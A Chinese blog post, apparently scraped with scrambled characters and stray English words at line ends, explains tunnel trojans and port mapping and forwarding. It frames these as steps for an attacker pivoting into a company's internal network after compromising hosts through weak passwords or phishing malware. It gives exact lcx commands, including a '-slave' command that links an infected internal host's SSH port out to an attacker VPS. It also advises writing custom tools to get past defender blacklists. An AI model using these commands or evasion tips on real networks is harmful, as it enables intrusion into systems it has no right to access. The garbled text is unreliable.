今天開始講講木馬攻防,感受這些內容你們應該會更感興趣一些,就從隧道木馬提及。爲何會有隧道木馬這一說呢?這是根據通訊協議進行分類的。講隧道木馬以前,先講講端口映射和轉發。端口映射和端口轉發實際上是一回事,原理是同樣的,因爲應用場景不一樣,才產生了不一樣的含義。linux
端口映射的使用,如下圖爲例,這是一個在滲透測試中,比較常見的場景。git
一個hacker經過掃描暴露到公網中的主機A ,主機A開放了一些敏感端口,並且是弱口令,致使主機A被hacker徹底控制。github
接着hacker就想往公司內網中滲透,經過在主機A監控流量或者掃描的方式,發現了主機B,可是主機B只能由主機A進行訪問,開放了80端口,並且沒有公網ip。golang
若是hacker想直接訪問主機B的 80端口,對上面的Web服務進行繼續滲透,這就須要進行端口映射,讓hacker能夠遠程鏈接到80端口。shell
從上圖場景中看,端口映射是將內網主機B的80端口映射到了具備公網ip的主機A上,本質上是將一個原本沒法訪問的端口映射到能夠訪問的ip上了。windows
端口轉發又是另一個場景,在滲透測試中,也很常見。以下圖所示。安全
hacker位於主機A,主機A多是我的電腦,也多是hacker控制的主機。網絡
hacker經過發送惡意郵件的方式給主機B,主機B的用戶點開郵件,運行惡意木馬致使主機B被感染,就成了咱們俗稱的「肉雞」。雖然已經有木馬運行在主機B中,可是因爲主機B不在公網中,hacker沒法訪問到主機B。ssh
主機B運行着ssh服務,開放着22端口,hacker若是想在主機A上直接鏈接主機B的22端口,執行shell命令,這就須要端口轉發。機器學習
那麼木馬怎麼實現端口轉發,才能讓hacker訪問主機B的22端口呢? 這就須要一臺主機C,一個公網的VPS,去阿里雲或者騰訊雲買。木馬的服務端運行在主機C,同時監聽兩個端口 port1 與port2,木馬的客戶端運行在主機B,分別主動鏈接主機B的22端口和主機C的port2,而hacker只須要主動鏈接主機C的port1,這樣就打通了到主機B 22端口的線路。以下圖所示。
lcx是一款內網端口轉發工具,用於將內網主機開放的內部端口映射到外網主機(有公網IP)任意端口。這個工具很早就已經有了,如今已經有跨平臺的了,支持在windows、linux下使用。還有一些根據lcx源碼開發的其餘版本,好比jsp版,http隧道版等等。代碼以下:
https://github.com/windworst/LCX/
下面說一下它的使用以及功能說明:
Usage of Packet Transmit:
./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]
./lcx -about
[options:]
-listen <local port1> <local port2>
-tran <local port> <remote host> <remote port>
-slave <remote host1> <remote port1> <remote host2> <remote port2>
-hex : hex mode data dump
-text : text mode data dump
-log : save transfer log
對於場景1,可使用lcx的tran模式來實現。假設主機A 公網ip 10.10.10.1,主機B 內網ip爲192.168.1.5,開放80端口。 在主機A上運行 :
./lcx -tran 8080 192.168.1.5 80
這個時候,hacker只要鏈接到主機A的8080端口,便可訪問到主機B的80端口。
對於場景2,使用lcx的listen和slave模式來實現。假設主機C 公網ip 10.10.10.1,主機B 內網ip爲192.168.1.5,開放22端口。 在主機C上監聽8080和8081端口:
./lcx -listen 8080 8081
在主機B上鍊接22端口,並鏈接主機C的8081端口:
./lcx -slave 192.168.1.5 22 10.10.10.1 8081
這個時候,hacker只須要鏈接ip10.10.10.1的8080端口,便可直接鏈接到22端口,執行命令。
使用工具很簡單,可是對這些工具的封鎖也很簡單。這些開源的網絡安全工具早就處於防護端的黑名單裏。所以本身寫一個相似的工具也是一項必備的能力。 在github中就有這樣相似的項目:
https://github.com/cw1997/NATBypass
代碼很簡單,只是單個golang文件,仿照lcx是實現了listen,tran和slave功能。關鍵的代碼很簡單,對應了下圖中三個紅框圈住的三個函數。
關注公衆號:七夜安全博客